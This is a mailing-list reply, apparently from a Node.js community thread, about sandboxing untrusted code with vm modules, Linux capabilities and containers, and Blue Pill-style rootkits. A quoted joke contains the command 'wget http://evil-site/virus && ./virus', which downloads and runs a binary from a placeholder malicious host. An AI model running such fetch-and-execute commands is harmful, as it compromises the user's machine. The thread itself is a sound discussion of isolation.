On 12/17/2013 03:14 PM, Alex Kocharin wrote:
>>>  What happens if you run "wget http://evil-site/virus && ./virus"?
>> ;) well, then I get a birthday present (as promised on http://evil-site)
> No, you won't, because I forgot "chmod +x". Unless you're on Windows, which 
> doesn't care about security much. :)
>
Too much of pitty. Considering my box already hacked by BND, NSA, Mosad etc
you might have been one of the more agreeable and funny backdoors in my
system.
Can't you update your present, pls :)
>> This would be a third layer of defense. Considering bluepill I am not
>> willing to resort to allowing virtualisation in the first place.
> Why?
rootkit done right!!

http://theinvisiblethings.blogspot.de/2006/06/introducing-blue-pill.html
Blue pill concept would be the best next to have a hack in the CPUs firmware
http://security.stackexchange.com/questions/40257/backdoors-in-hardware-ie-intel-amd-cpu-possible
http://blogs.vmware.com/vmtn/2007/08/i-spy-a-blue-pi.html


>
>> Well that sounds really pretty nice. Wonder if there is a "way-back" aka
>> "breakout" possible still.
> As far as I know, breakout is not possible if you're using vm module. 
>
> But this code can still do "while(1);", in which case separate process will 
> be required, and that's what sandbox module does.
Sure I will look into this vm module. Its something inside node.js, not
related to cpu/system virtualisation, but rather a node.js thing, right?
>
>
>> I like windows. Makes me feel so much happier to have linux, honestly.
>> Bad that I gain joy by seeing stupidity of others. .. Still
>> to keep it honest. I think XP has long passed and Windows 7 can already
>> be run safer and less root involved, eh? 
>> On the other hand how should linux world find out? switch back to windows?
> Or just reboot into it. Happens quite frequently, because windows still have 
> plenty of games runnable under it, which is frankly speaking the only thing 
> it is good for.
>
> But it's not really an issue with windows. It's about programs that require 
> superuser rights. Under gnu/linux it's common for applications to run under 
> least possible rights. If you run chromium under root in gnu/linux, it'll 
> simply refuse to start. But if you start windows, a fair bit of programs you 
> try to install will require admin rights.
>
> It's not only a windows issue, look at the android, every single application 
> you're installing will require an access to network and sms stuff. Same thing.
>
> By the way, windows XP is beautiful. It's modern enough to run most of the 
> applications it needs to, but it doesn't eat resources like crazy. For this 
> reason it is also very secure if you don't keep any private data in the same 
> virtualbox container where xp is running. :)
>
>
>>>  I'm not even mentioning capabilities and containers.
>> Give glue what would that be?
> First one is a way of dividing root privileges. For example, ping/wireshark 
> might need an access to network, but they don't need an access to write 
> system files. So you can allow them some root actions, but not others.
>
> Second one is a way to run a separate GNU/Linux OS on the same kernel without 
> any additional resources. This way if some silly application does need full 
> access to the system, it'll get it, but the system itself will be very much 
> isolated from anything else.
>
Also will have a look into this, thank you

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